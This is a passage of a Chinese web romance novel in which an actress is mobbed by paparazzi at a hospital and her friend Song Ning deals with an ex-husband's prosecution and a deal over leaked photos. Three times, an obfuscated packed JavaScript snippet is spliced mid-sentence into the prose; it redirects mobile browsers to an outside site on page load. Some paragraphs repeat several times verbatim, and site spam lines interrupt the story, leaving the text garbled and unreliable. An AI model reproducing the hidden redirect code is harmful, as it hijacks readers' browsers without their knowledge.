“其实我昨晚得知你进了医院,当时就想过来探望来着,结果刚好瞧见刚刚那个女孩子亲力亲为的照顾你,她心思细,对你照顾的也上心,除了真心相爱的伴侣,谁又能做得到这一点?” 他对宋凝和丁予期之间的过往无从了解,能拿来做论据的就只有刚刚的所见所闻,没想到反而阴差阳错的把话说到恩人心坎上去了。 丁予期笑的意味深长:“你说的有道理,但**尚未成功,同志仍需努力。” 他说着,抬眸看向了宋凝离开的方向,目光温柔的不得了。 与此同时,宋凝正在低着头一个劲儿的猛冲。 她急着离这间病房远一点,所以见电梯还在下行中,二话不说就选择走了楼梯,不成想这个选择竟然让她撞到了最不容错过的场面。 安全通道一侧的走廊里有些太热闹了,而其中赫然夹杂着熟悉的声音。 第二百零五章 女明星和她的贴身保镖 医院向来都是禁止喧哗的,他们能在这里闹出这样大的动静,要么是压根就不在意,要么是那边的状况已经超出了控制。 宋凝想到这里,哪里还敢再耽搁,她快步调转方向,直奔最热闹的所在而去,只见原本还算宽敞的走廊此时被围堵的水泄不通,而被围在最中间的那人赫然是还戴着帽子和口罩的唐婷。 “是唐婷吧?没想到来医院一趟还能遇到明星,不过他们不是都会去保密条件更好的私立医院么?怎么会来这里? “你傻啊,当然是因为军区医院医疗条件好啊,保密性再好有什么用?万一出了问题,抢救都来不及。 “她本人比电视剧里更有气质诶。 “唐欣鸢,我们好喜欢你啊—— 一片混乱中,有认出了唐婷的粉丝在表达对她的喜欢,也有恰好经过这里的路人在起哄,但无论他们抱着怎样的目的,她被堵在中间出不去都是铁一般的事实。 如果仅仅是这样,其实倒也罢了,反正她是跟剧组请过假的,大不了就对外发些通稿,用私人行程谢绝打扰的说法把事情糊弄过去。 可问题在于她被认出来的位置实在是太特殊了,这里距离妇产科就只有数步之遥。 唐婷眼见是走不成了,唯有心下一横,摘下帽子和口罩对着大家恳求道:“我能理解大家的心情,但这里是医院,请把路留给真正需要的人,不要打扰到其他人。 路人和对她有好感的粉丝听到这话,自然是立刻跟着她一起往不远处挪去,免得打扰到其他来就诊的孕妇。 可闻讯而来的狗仔队和娱乐记者就不一样了,他们敏锐的嗅到了大新闻的气息。 有人当场开了直播,把镜头怼到唐婷面前问:“唐小姐,你能跟大家解释一下,为什么上部剧才刚杀青,人就出现在妇产科了么?据我所知,你对外公开的行程中不包括这一项。 直播间人气涨得很快,等他问出了这个**性问题,观看人数更是不断上涨。 唐婷莫名奇妙的被人问这么一通,心情自然好不到哪里去,但她身为公众人物,就有让渡隐私权的觉悟,仍旧在镜头前保持着涵养,先跟直播间里的观众打了个招呼才解释起她的事来。 “大家好,我是唐欣鸢,很抱歉因为我的私事引起这么多关注,但我只是路过妇产科,并没有在这里就诊,祝愿大家身体健康。 这句话说的够体面了。 可狗仔要的是大新闻,不是体面,他没能问出有价值的信息,立刻就被同行挤走, 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 换上更尖锐的言辞对唐婷说:“唐小姐,你说自己不是来这里就诊的,难道是来散心的么?这是医院。” 话里话外都在质疑唐婷撒谎,甚至还曲解她的原话,把没有在妇产科就诊给曲解成了没有来医院就诊。 唐婷意识到这是陷阱,冷静应对道:“我是来探望朋友的。” 记者不怀好意的追问:“请问这位朋友是男是女?目前该不会还没有出生吧?唐小姐,你脸色忽然变得这么难看,该不会是被我说中了吧?” 这跟直接质疑她是来做产检的没有任何区别,甚至不忘引导其他人把她的神情变化往心虚的方向想,就差直接给她扣上一顶有见不得光的绯闻的帽子了。 唐婷不知是想起了什么,脸色瞬间变得苍白无比,但她还是没有在人前失态,攥紧双手强迫自己保持理智的同时回答道:“我探望的朋友并不是娱乐相关从业者,请各位尊重她的隐私。” 哪怕到了这一步,她也不肯在人前多泄露任何跟宋凝有关的信息,哪怕明知道对方不在乎,甚至是乐意为她这个朋友解围的。 宋凝再也看不下去了,她走出来想给唐婷解围,但有人的速度比她更快。 大拿快步拨开人群走到唐婷身前,然后转过身去面对着咄咄逼人的记者严肃道:“请你们让开。” 他言简意赅到了没一个字是多余的地步,再加上身形高大,神情冷峻,瞬间镇住了场子。 为首的记者愣了一下,迷茫道:“你是谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16302930|177983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 大拿没有回答他的问题,甚至没有多看他一眼,而是伸手护住唐婷,让她沿着他开出来的路往外走去,只留给其他人一个背影。 不远处的宋凝笑着松了口气,是发自内心的为他的出现感到高兴。有这样一个人陪在唐婷身边,她们这些做朋友的就放心了。 相比之下,其他被晾在这里的人的反应就没这么平淡了,他们面面相觑,直到有人率先问了一句:“这人是谁啊?” 众人纷纷摇头,然后七嘴八舌的讨论起来。 “看那架势应该是唐欣鸢的经纪人?不过她的经纪人不是女的么?这经纪人换的这么快,肯定有问题啊。” “应该是保镖吧?人高马大的像个退伍军人。” “啊?那更不能让她走了,来医院检查还带保镖,更说明这件事有问题了啊……” 末尾这句话惊醒了其他还在想这想那的人,让大伙儿一股脑的往大拿和唐婷离开的方向追去,殊不知这时无论做出什么反应都已经是太晚了。 大拿稳稳当当的护着唐婷去到停车场里,伸手道:“车钥匙给我。” 唐婷看向他打着石膏的手臂,犹豫道:“还是我来开吧。” 大拿面不改色的打开副驾驶的车门,一边示意她坐进去一边说:“相信我,虽然我左手胳膊行动不太方便,但右手没受任何影响,如果你把车钥匙给我,我保证那些人绝对追不上我们。” 若是换成是旁人说这样的话,唐婷绝对会认为他在吹牛,但这话是大拿说的,那情况就不一样了。经过这段时间的相处,她已经了解了他的为人,知道他但凡说的出就绝对能做到。 唐婷没再吭声,而是用最快的速度依言上车,并且不忘系好安全带。 大拿左胳膊上的石膏丝毫不影响他动作的灵活性,他几乎在她坐稳的一瞬间就发动了车辆,然后便在保证安全的前提下将车开到最快,风驰电掣般消失在了停车场的入口。 追着大新闻狂奔而来的记者和狗仔终归还是晚了一步,只能看着车尾气在原地唉声叹气。 第二百零六章 我不会追喜欢的女生 不多时,唐婷在大拿的护送下去到了一处僻静地方,她望着后视镜里映出的街景,不失担忧的问:“这里会不会太近了?他们追上来怎么办?” 大拿态度不变:“别担心,有我在。” 这句话比任何长篇大论都来得更让唐婷感到安心,她眼眶微微一酸,迅速偏过脸去看着后视镜表示:“那你稍等我一下,我给阿凝打个电话说明情况,免得她以为我故意不来放她鸽子。” 电话很快就接通了,从听筒另一边传来宋凝带笑的话音:“怎么忽然想起跟我打电话了?刚刚看到你们走的那么快。” 既然唐婷已经脱险,她自然也就有开玩笑的心思了。 唐婷听宋凝从旁观者的角度把她跟大拿离开的场景讲述一遍,无奈的叹了口气,开始帮忙补充起了缺失的那部分事情经过。 “天地良心,我真的只是从妇产科门口路过而已,谁成想竟然会这么倒霉,被认出来就算了,对方还刚好是个狗仔,当时就跟抓到大新闻一样把我拦住了,非得说我来医院是要做产检!” 她说到这里,真是冲回去跟对方大打出手的心思都有了,奈何公众人物的形象跟经纪公司的利益息息相关,这件事是万万不能做的。 宋凝跟唐婷关系极为亲近,自然知道她绝对没有怀孕,哭笑不得道:“依我看实在不行的话,你不如就实话实说好了,到时候让经纪人联系一下公关,然后我再出面配合你澄清假消息。” 这是目前听起来最靠谱的方案,可唐婷态度坚决的否认道:“不行,这帮狗仔**不吐骨头,你也看到了,他们为了热度是不择手段的,我不能把你们牵扯进来。” 事关丁予期和他们目前所在的军营,她不想再连累朋友们了。 宋凝没有勉强,只说:“那好,你先自己想想办法,不过遇到需要帮忙的地方的话千万别客气。” 尚未解决的照片的事让她感到心头一阵刺痛。 唐婷正有旁的事要跟宋凝讲,丝毫没有注意到她尾音里藏不住的停顿,而是说:“这话应该我讲给你听才对,你来医院来的这么匆忙,连日用品都没顾得上带吧?我让珊珊给你送过去。” 那些东西原本就放在车里,本该由唐婷亲自送到病房里交给宋凝,奈何计划总是赶不上变化,也只能是拜托旁人送了。 宋凝连忙劝阻道:“珊珊是你的助理,你来跟她来是一样的,万一那帮人不肯死心,现在还在医院里蹲守,看到她岂不是麻烦了?总之你就别乱跑了,马上回军营去,这边就交给我吧。” 目前来看,军营就是目前对唐婷来说最安全的地方了,不仅傅东擎的手伸不了那么长,就连狗仔和记者们也得掂量一下自己的本事和分量。 唐婷最大的优点之一就是听劝,她权衡过后果断选择了先回军营再从长计议。 大拿依言照做,神态和举止瞧着也没有任何变化,但在经过十字路口时忽然在玩起了漂移,毫无征兆的调转方向,冲着谁都想不到的来时路开了回去。 唐婷被吓了一跳:“是开错路了么?” 大拿直视着前挡风玻璃外面的马路,目不斜视的告诉她:“看后面。” 唐婷连忙望向后视镜,这才发现后面不知何时多了好几辆略显眼熟的车,并且都是乍一看低调,实际上做过改装的那类车。 “这帮家伙也太过分了!跟到医院里就够扰乱秩序的了,没想到竟然还出来追车,我迟早要报警抓他们!” 大拿没有刻意附和唐婷,而是问:“需要给他们一个教训么?” 唐婷眼前一亮:“你有办法?” “嗯,坐稳了。” 大拿叮嘱完这一句,马上发挥出他毕生的车技,不多时就把跟在后面的车全都甩掉了,而用时还不到半个小时。 车稳稳当当的驶进了军营。 唐婷看了眼时间,简直要对大拿佩服的五体投地:“我先前只知道你射击水平高超,没想到驾驶技术也这么厉害,天底下还有你不会的事么?” 大拿思忖片刻,慢悠悠的说:“有的,我不会追喜欢的女生。” 话音未落,他悄悄将目光落到了后视镜里的唐婷的面颊上,而她对他话里的潜台词毫无察觉,只拍着胸脯保证道:“这有什么难的?我可以帮你助攻,还可以帮你分析女孩子在想什么。我跟你说,我演技不咋地,但对女孩子的心理可是了如指掌!” “其实我第一次见到你的时候就看出来了,你从前一定没有谈过恋爱,不过别担心,这也不是什么大问题,你也算是我半个师傅了,我一定帮你……” 唐婷好不容易才寻到一个她擅长,他不擅长的领域,喋喋不休的讲了很久。 大拿没有出言打断,更没有觉得无聊,而是面带微笑的听着她讲,仿佛这是个多么有趣的话题,然后适时递上一瓶水:“喏,先润润嗓子。” 与此同时,宋凝刚好也有些渴了,但她不想马上回病房,于是便在便利店里买了杯咖啡,然后才慢悠悠的踏上了折返的路,并且一边走一边摸出了手机,是想着随便打发一下时间。 可映入眼帘的新闻导语却是让她怔在了当场:独家!新晋女星疑珠胎暗结,神秘男子殷勤相伴左右。 这个标题生动诠释了什么叫一句话骂两个人,简直就是在张冠李戴,造谣大拿就是那个孩子的父亲。 不对!孩子根本就不存在啊! 宋凝顿时替唐婷感到愤愤不平,心想娱乐圈这么乌烟瘴气,绝对跟狗仔记者们的推波助澜脱不了关系,这帮人什么博眼球就说什么,哪怕是造谣。 等她愤愤不平的回到病房里,驴友王哥已经走了,只有丁予期正在跟瑞贝卡打电话交代一些工作上的事。 “嗯,我会尽快回到岗位上去的,这段时间就辛苦你代班吧,回去后薪酬和奖金都会额外补偿……” 丁予期出手大方,从不苛待员工,也只有这样在养伤期间照样把工作安排的井井有条。 宋凝等他打完电话,上前说起了唐婷的遭遇:“我现在最庆幸的事就是当初没有把她的事情告诉傅东擎,否则他那样没有底线的人还不知道会做出什么事。” 说到这里,她不忘再叹口气,蹙眉道:“娱乐圈的风气实在是太差了,真不知道唐婷怎么忍了这么久,果然光鲜亮丽的明星不好当。” “是啊,不过我这里刚巧有个不好不坏的消息跟你分享,瑞贝卡告诉我,傅东擎被正式提起公诉,根据律师的说法,大概会被判三年以下**。” 可映入眼帘的新闻导语却是让她怔在了当场:独家!新晋女星疑珠胎暗结,神秘男子殷勤相伴左右。 这个标题生动诠释了什么叫一句话骂两个人,简直就是在张冠李戴,造谣大拿就是那个孩子的父亲。 不对!孩子根本就不存在啊! 宋凝顿时替唐婷感到愤愤不平,心想娱乐圈这么乌烟瘴气,绝对跟狗仔记者们的推波助澜脱不了关系,这帮人什么博眼球就说什么,哪怕是造谣。 等她愤愤不平的回到病房里,驴友王哥已经走了,只有丁予期正在跟瑞贝卡打电话交代一些工作上的事。 “嗯,我会尽快回到岗位上去的,这段时间就辛苦你代班吧,回去后薪酬和奖金都会额外补偿……” 丁予期出手大方,从不苛待员工,也只有这样在养伤期间照样把工作安排的井井有条。 宋凝等他打完电话,上前说起了唐婷的遭遇:“我现在最庆幸的事就是当初没有把她的事情告诉傅东擎,否则他那样没有底线的人还不知道会做出什么事。” 说到这里,她不忘再叹口气,蹙眉道:“娱乐圈的风气实在是太差了,真不知道唐婷怎么忍了这么久,果然光鲜亮丽的明星不好当。” “是啊,不过我这里刚巧有个不好不坏的消息跟你分享,瑞贝卡告诉我,傅东擎被正式提起公诉,根据律师的说法,大概会被判三年以下**。” 可映入眼帘的新闻导语却是让她怔在了当场:独家!新晋女星疑珠胎暗结,神秘男子殷勤相伴左右。 这个标题生动诠释了什么叫一句话骂两个人,简直就是在张冠李戴,造谣大拿就是那个孩子的父亲。 不对!孩子根本就不存在啊! 宋凝顿时替唐婷感到愤愤不平,心想娱乐圈这么乌烟瘴气,绝对跟狗仔记者们的推波助澜脱不了关系,这帮人什么博眼球就说什么,哪怕是造谣。 等她愤愤不平的回到病房里,驴友王哥已经走了,只有丁予期正在跟瑞贝卡打电话交代一些工作上的事。 “嗯,我会尽快回到岗位上去的,这段时间就辛苦你代班吧,回去后薪酬和奖金都会额外补偿……” 丁予期出手大方,从不苛待员工,也只有这样在养伤期间照样把工作安排的井井有条。 宋凝等他打完电话,上前说起了唐婷的遭遇:“我现在最庆幸的事就是当初没有把她的事情告诉傅东擎,否则他那样没有底线的人还不知道会做出什么事。” 说到这里,她不忘再叹口气,蹙眉道:“娱乐圈的风气实在是太差了,真不知道唐婷怎么忍了这么久,果然光鲜亮丽的明星不好当。” “是啊,不过我这里刚巧有个不好不坏的消息跟你分享,瑞贝卡告诉我,傅东擎被正式提起公诉,根据律师的说法,大概会被判三年以下**。” 可映入眼帘的新闻导语却是让她怔在了当场:独家!新晋女星疑珠胎暗结,神秘男子殷勤相伴左右。 这个标题生动诠释了什么叫一句话骂两个人,简直就是在张冠李戴,造谣大拿就是那个孩子的父亲。 不对!孩子根本就不存在啊! 宋凝顿时替唐婷感到愤愤不平,心想娱乐圈这么乌烟瘴气,绝对跟狗仔记者们的推波助澜脱不了关系,这帮人什么博眼球就说什么,哪怕是造谣。 等她愤愤不平的回到病房里,驴友王哥已经走了,只有丁予期正在跟瑞贝卡打电话交代一些工作上的事。 “嗯,我会尽快回到 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宋凝顿时替唐婷感到愤愤不平,心想娱乐圈这么乌烟瘴气,绝对跟狗仔记者们的推波助澜脱不了关系,这帮人什么博眼球就说什么,哪怕是造谣。 等她愤愤不平的回到病房里,驴友王哥已经走了,只有丁予期正在跟瑞贝卡打电话交代一些工作上的事。 “嗯,我会尽快回到岗位上去的,这段时间就辛苦你代班吧,回去后薪酬和奖金都会额外补偿……” 丁予期出手大方,从不苛待员工,也只有这样在养伤期间照样把工作安排的井井有条。 宋凝等他打完电话,上前说起了唐婷的遭遇:“我现在最庆幸的事就是当初没有把她的事情告诉傅东擎,否则他那样没有底线的人还不知道会做出什么事。” 说到这里,她不忘再叹口气,蹙眉道:“娱乐圈的风气实在是太差了,真不知道唐婷怎么忍了这么久,果然光鲜亮丽的明星不好当。” “是啊,不过我这里刚巧有个不好不坏的消息跟你分享,瑞贝卡告诉我,傅东擎被正式提起公诉,根据律师的说法,大概会被判三年以下**。” 可映入眼帘的新闻导语却是让她怔在了当场:独家!新晋女星疑珠胎暗结,神秘男子殷勤相伴左右。 这个标题生动诠释了什么叫一句话骂两个人,简直就是在张冠李戴,造谣大拿就是那个孩子的父亲。 不对!孩子根本就不存在啊! 宋凝顿时替唐婷感到愤愤不平,心想娱乐圈这么乌烟瘴气,绝对跟狗仔记者们的推波助澜脱不了关系,这帮人什么博眼球就说什么,哪怕是造谣。 等她愤愤不平的回到病房里,驴友王哥已经走了,只有丁予期正在跟瑞贝卡打电话交代一些工作上的事。 “嗯,我会尽快回到岗位上去的,这段时间就辛苦你代班吧,回去后薪酬和奖金都会额外补偿……” 丁予期出手大方,从不苛待员工,也只有这样在养伤期间照样把工作安排的井井有条。 宋凝等他打完电话,上前说起了唐婷的遭遇:“我现在最庆幸的事就是当初没有把她的事情告诉傅东擎,否则他那样没有底线的人还不知道会做出什么事。” 说到这里,她不忘再叹口气,蹙眉道:“娱乐圈的风气实在是太差了,真不知道唐婷怎么忍了这么久,果然光鲜亮丽的明星不好当。” “是啊,不过我这里刚巧有个不好不坏的消息跟你分享,瑞贝卡告诉我,傅东擎被正式提起公诉,根据律师的说法,大概会被判三年以下**。” 可映入眼帘的新闻导语却是让她怔在了当场:独家!新晋女星疑珠胎暗结,神秘男子殷勤相伴左右。 这个标题生动诠释了什么叫一句话骂两个人,简直就是在张冠李戴,造谣大拿就是那个孩子的父亲。 不对!孩子根本就不存在啊! 宋凝顿时替唐婷感到愤愤不平,心想娱乐圈这么乌烟瘴气,绝对跟狗仔记者们的推波助澜脱不了关系,这帮人什么博眼球就说什么,哪怕是造谣。 等她愤愤不平的回到病房里,驴友王哥已经走了,只有丁予期正在跟瑞贝卡打电话交代一些工作上的事。 “嗯,我会尽快回到岗位上去的,这段时间就辛苦你代班吧,回去后薪酬和奖金都会额外补偿……” 丁予期出手大方,从不苛待员工,也只有这样在养伤期间照样把工作安排的井井有条。 宋凝等他打完电话,上前说起了唐婷的遭遇:“我现在最庆幸的事就是当初没有把她的事情告诉傅东擎,否则他那样没有底线的人还不知道会做出什么事。” 说到这里,她不忘再叹口气,蹙眉道:“娱乐圈的风气实在是太差了,真不知道唐婷怎么忍了这么久,果然光鲜亮丽的明星不好当。” “是啊,不过我这里刚巧有个不好不坏的消息跟你分享,瑞贝卡告诉我,傅东擎被正式提起公诉,根据律师的说法,大概会被判三年以下**。” 第二百零七章 我陪你一起 骤然间听到这个消息宋凝有一瞬间的怔忪。 当时的恨是一回事但更多的是对自己青春时光的感慨。 她跟傅东擎之间终究是在这里画上句号了。 她的年少时光也终于有了一个具体的结果。 “怎么不说话?”丁予期轻声问。 宋凝轻笑了一下状态轻松了许多:“没就是感慨一下。” 丁予期是懂她的心思的她跟傅东擎从十几岁的少年时代一直到三十而立傅东擎占据了她迄今为止的一半生命。 但宋凝是个聪明人感性也只是这一会儿她是理性的不会被情绪所左右。 宋凝果然没有迟疑多久很快就恢复了往日的状态:“这个量刑算正常吗?” “正常”丁予期说:“如果没有其他突发状况的情况下。” “什么算是突发情况?” “比如 宋凝摇头:“那不可能。” 丁予期沉默了一下没说话。 宋凝看出来他的欲言又止又问道:“是不是只要我不谅解他这三年牢就坐定了?” 丁予期神情微微有些沉郁:“因为这只是最理想的情况。但现实往往跟理想千差万别。” 他已经尽了自己最大的努力为了让傅东擎最大限度上的付出代价可以说是把毕生所学都发挥出来了奈何他现在的身份不再是律师哪怕预料到了结果也照样无计可施。 宋凝对上他深邃的目光莫名感到有些难过于是特意和缓了声音宽慰道:“我比你更了解傅家的情况也更清楚他那对父母是什么德行正因为有那样的父母才会有现在的他所以他们一定会想方设法帮他运作。我连他被无罪释放的心理准备都做好了现在得知他会坐牢多一天都赚。真的你不用因此有任何歉意。” 她用的是陈述句显然早就预料到了可能会有的结果。 丁予期接下来的话更是验证了她的猜测:“我安排瑞贝卡去调查过了根据目前的情况来看他们请了最好的律师发动了能发动的所有人脉甚至就连精神科医生都联络过了。” 末尾这句话引起了宋凝的嗤笑:“真是够没出息的扯来扯去就想出这么个法子不知道我从前是怎么忍那么久的。” 现在想来她那时瞎的实在厉害这何止是错把鱼目当珍珠根本是从一开始就瞎了眼。 丁予期对此深表认同不过为了保持在宋凝面前的风 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 度,并没有直接出言附和,而是乍一听挺婉转的颔首道:“这说明你现在治疗效果不错。” 宋凝正沉浸在义愤填膺中,没能立刻反应过来,等她意识到他还有开玩笑的心思,立刻板起脸表示:“你恢复的也挺不错的,就是不知道什么可以出院,你外公和于副官都很担心你。” 虽然陈老爷子习惯了在人前掩饰自己,但宋凝还是能感觉的出来,他对丁予期其实非常关心,只不过他除了是丁予期的外公,更是军营里的**。 丁予期靠坐在病床上,面上带着温和的笑容:“我知道的,已经跟他们报过平安了,就在今天早上去买早餐的时候。” 他不提这事还好,一提起来就让宋凝莫名感到心虚,仿佛是她使唤病人去跑腿的。 幸好一通电话及时化解了尴尬的氛围。 宋凝以为是祝如星看到网上的消息打电话过来询问情况,想都不想的就将手机拿了起来,然后她的表情便僵在了脸上,是发现屏幕上显示的竟然是个陌生号码。 是有人打错电话了么? 还是说…… 她对上丁予期询问的目光,没有把时间浪费在犹豫上,而是按下接听键,然后沉默着等待对方先开口。 不知道过去多久之后,打电话过来的人到底还是先绷不住了,出声道:“宋小姐你好,是我。” 宋凝隐约觉得这声线有些耳熟,“林澜?” “是我,我打电话给你没有别的意思,只是想约你见一面,谈谈照片的事。你应该已经知道了吧?我真正感兴趣的东西到底是什么。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307143|177983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这番熟悉的措辞总算让宋凝想起了她的具体身份,不咸不淡的反问:“你有办法帮我解决掉照片的事么?我要求的是彻底解决。林澜,你能联系到我,就意味着你深思熟虑过吧?” 在今天之前,她以为自己跟林澜的交集早就结束了,从未想过对方还有找过来的一天。不过她也懒怠跟林澜解释什么,就算被误会她是故意装作不认识对方也没什么。 林澜开门见山道:“当然想过,只要你答应我一个条件,不过我们得见面谈。” 很显然,她手里其实是真有筹码,但却信不过宋凝,又亦或说是担心这筹码的价值无法最大化。 可宋凝又何尝信得过林澜,平淡道:“我需要考虑一下。” 照片的事始终是埋在她心底的一根刺,只要傅东擎手里一日还握着这个把柄,她就一日得不到真正的自由,但正因为如此,她越发不能被林澜察觉到真实的态度。 林澜胆子大,为了利益向来不择手段,这时听到宋凝的话音,不禁有些着急:“唐婷可是你最好的朋友,她那样的照片在傅东擎手里,你难道不着急么?你别以为他这次被拘留会出不来了。” “着急,但我还是得考虑一下。”宋凝不慌不忙的表示,“等我考虑好了,会打这个电话告诉你的。” 话音落下,她毫不犹豫的把电话挂了。 丁予期饶有兴致的看着她说:“你这个谈判的法子倒是挺别致,就不怕林澜狗急跳墙,会真的不谈了么?” 宋凝摇了摇头:“她不会的,唐婷的照片对她来说没有任何价值,只有交给我才能变现,而且这价值也是有时效性的,等傅东擎被放出来就由不得她了。” 这个想法获得了丁予期的认可,他温声道:“我陪你一起去吧。” 宋凝愣了一下:“我还没说要去呢。” 丁予期脸上写满了然:”“你那么看重朋友,生怕因为自己的缘故连累她们,现在机会就摆在眼前,哪怕只有百分之一,不,千分之一的可能性,你也绝对会选择冒险一试。” 第二百零八章 只想见你一个人 他显然比宋凝所以为的还要更了解她。 宋凝凝望了丁予期片刻点头道:“好我试一下。” 再跟林澜取得联系是件很容易的事她刚把电话打过去没几秒林澜就把电话给接起来了急不可耐的问:“你考虑好了么?我们在哪儿见面?” 宋凝没有直接回答她的问题而是另外抛出了一个问题:“丁予期住院了我需要在医院里照顾他。” 她必须在这场谈判中掌握主动权。 “没问题我可以去医院见你们。”林澜所在意的刚好只有利益。 军医院的所在并不难找。 林澜很快就出现在了宋凝和丁予期面前并且还带了一份“见面礼”过来。 她将一部旧手机交给他们说:“这是我偶然发现的秘密你们应该都没想到他会在旧手机相册里保存这些吧?” 宋凝一眼就把这部手机给认出来了她看它像个烫手山芋但还是接过去点开了相册然后在令人眼花缭乱的照片中精准的发现了属于唐婷的那些。 丁予期很有分寸的在她看照片时起身去到了别处眼睛更是一刻也不曾往这边看。 直到宋凝熄灭屏幕向林澜发问到:“这就是底稿了么?” 林澜见她果然感兴趣自认为是有了谈判的立场得意道:“这当然不是傅东擎心思缜密早就把这些照片都存在了云盘上只要他想随时都能下载备份所以我才能拿到这部手机。” 说到这里林澜话锋一转:“不过我有办法把云端里的照片全都删除干净保证让你们再也没有后顾之忧 丁予期因此侧目看了过来。 宋凝没想到她会提这么个要求愕然道:“你想怀他的孩子找我又有什么用?我又不可能替的了这种事。” 林澜不以为意的摆了摆手。 “那你就不用管了只要你能把他约出来剩下的事交给我就好。实话告诉你们自从你们离婚后傅东擎对我就淡了所以我如果要巩固自己在傅家的地位就必须得使出点非常手段。” 母凭子贵这一招风险不小可一旦成功收益却也极高甚至有可能让她成为傅家名副其实的女主人。 宋凝隐约觉得有些问题:“为什么非得是现在?” 她虽然不喜欢林澜却也承认这个女人确实是有手段有野心单凭当初主动找到丁予期这一点就足以证明这个人不简单。 林澜的理由很充分: 听说看这本书的人都是很幸运的,分享后你的运气会更棒 “傅东擎的父母已经替他交了保释金,今天就能把他接出来了,虽然他等待审判的时间不会太长,但这是我最后的机会了,一旦他入狱,我就没戏唱了。” 丁予期闻言并没有打消疑心,而是敏锐的追问:“这就是你的真实目的么?” 林澜意味深长的笑了一下:“我只是想改变自己的命运罢了。” 仿佛是为了验证她的话,就在宋凝做最后的考虑时,放在一旁的手机又响了,而这一次的电话是傅东擎打过来的。 宋凝毫不避讳的按下了接听键,并且开启了扩音。 傅东擎略显沙哑的嗓音立刻在病房里响起来:“阿凝,你肯接我的电话真是太好了!我知道你一定还在生我的气,但我们之间有很多误会,只要你肯再见我一面,我会把事情给说清楚的。” 他停顿了片刻,但却没能得到理想中的回应,于是马上把黑锅扣给丁予期:“请你不要听信丁予期的一面之词,就当给我一个申辩的机会,好么?” 林澜听到他如此低姿态的措辞,连忙给宋凝使眼色,示意她赶快答应下来。 可宋凝眉心紧蹙,是一听到傅东擎的声音就发自内心的感到嫌恶,更何况是去见他一面,直到他撕开温情的假面:“你也不想在新闻里看到唐婷的照片吧?” “好,我答应你。”宋凝唯有忍着恶心答应下来。 傅东擎对她的态度感到很不满,强调道:“我只想见你一个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宋凝眉心紧蹙的避开,同他保持着不远不近的距离去了他们从前曾经去过的酒吧,但却没点任何含酒精的饮料,就连果汁都只是捧着,直到离开都没有喝过一口。 傅东擎的面容变得晦暗不明:“你对这里就没有任何感情么?” 他特意带宋凝故地重游,可她的态度这样冷淡,让他无比受伤的说:“如果你对这些地方都不感兴趣,那我还有一个地方需要你陪我一起去,如果这次你能让我满意,照片的事就有的商量。” 宋凝其实是一分一秒都不想再跟傅东擎多待了,但转念想到同林澜所做的交易,还是不得不按捺住拂袖而去的冲动问:“天都已经黑了,你打算去哪儿?” 她目光不住的打量着傅东擎,是从未放下过提防他的戒心。 傅东擎心中不悦:“你就这么想我?我已经跟你解释过了,上次的事是误会,我只是想带你去远离丁予期的地方,慢慢跟你把事情说清楚罢了。我不在的这段时间里,他没少说我的坏话吧?” 若是放在从前,宋凝或许还会同他争辩几句,但她现在早就没有那样无聊的心思了,她的时间很宝贵,必须用在更关键的地方。 况且就算跟他辩论赢了又有什么用?难道他还会反思么? 宋凝早就听够他的无耻高论了,这时懒得多说,只再次问到:“你打算去哪儿?” 傅东擎目光悠远的望向前方,在久久的沉默后对她说:“我要你陪我去海边看日出,只需要再等几个小时而已,你应该不会介意吧?” 这话说的轻巧,但再等几个小时跟熬个通宵又有什么区别? 宋凝心底涌起一阵不安:“你想看日出的话,可以等到天快亮的时候再去,现在去除了白白等着以外没有任何用处。” 她还有另一个更隐秘的担忧没说出口,那就是深夜的海边空无一人,是凶案高发地之一。 都说月黑风高夜**夜,万一傅东擎拉她垫背怎么办? 傅东擎看穿了宋凝心中所想,几乎是从后槽牙里挤出一句:“你从前不会这样想我。” 宋凝受够他总是提从前了,直言不讳道:“你也说了那都是从前的事,与其说这些没用的,不如直接告诉我,你到底还想怎么样?” 答应林澜的事不难做到,但事已至此,她再对傅东擎毫无戒心就是傻了。 熙熙攘攘的商业街上是最不缺乏人气的,哪怕这么晚了也照样有热闹的夜 生活,只不过他们两个身边像是多了层无形的屏障,氛围冷淡的不得了。 傅东擎的脸色越来越难看,最后还是问:“你不想帮唐婷要回照片了么?” 这句话的效力并不会随着使用次数的增多而发生任何变化。 没人喜欢被威胁的感觉,宋凝自然也一样,但她深呼吸一口,还是忍了,不为别的,就为这是她距离成功最近的一次机会。 傅东擎见她默认了,再次伸出手去想要拉她的手,然而却被她给不动声色的避开了。 宋凝快步走向他先前停车的地方,自行拉开后排车门坐了进去,并且直到他将车开到目的地的海边都没有再说哪怕一个字。 午夜时分,万籁俱寂,海边也只能听到海水冲刷岸边沙石的声音。 傅东擎落下车窗问:“你还记得这个地方么?” 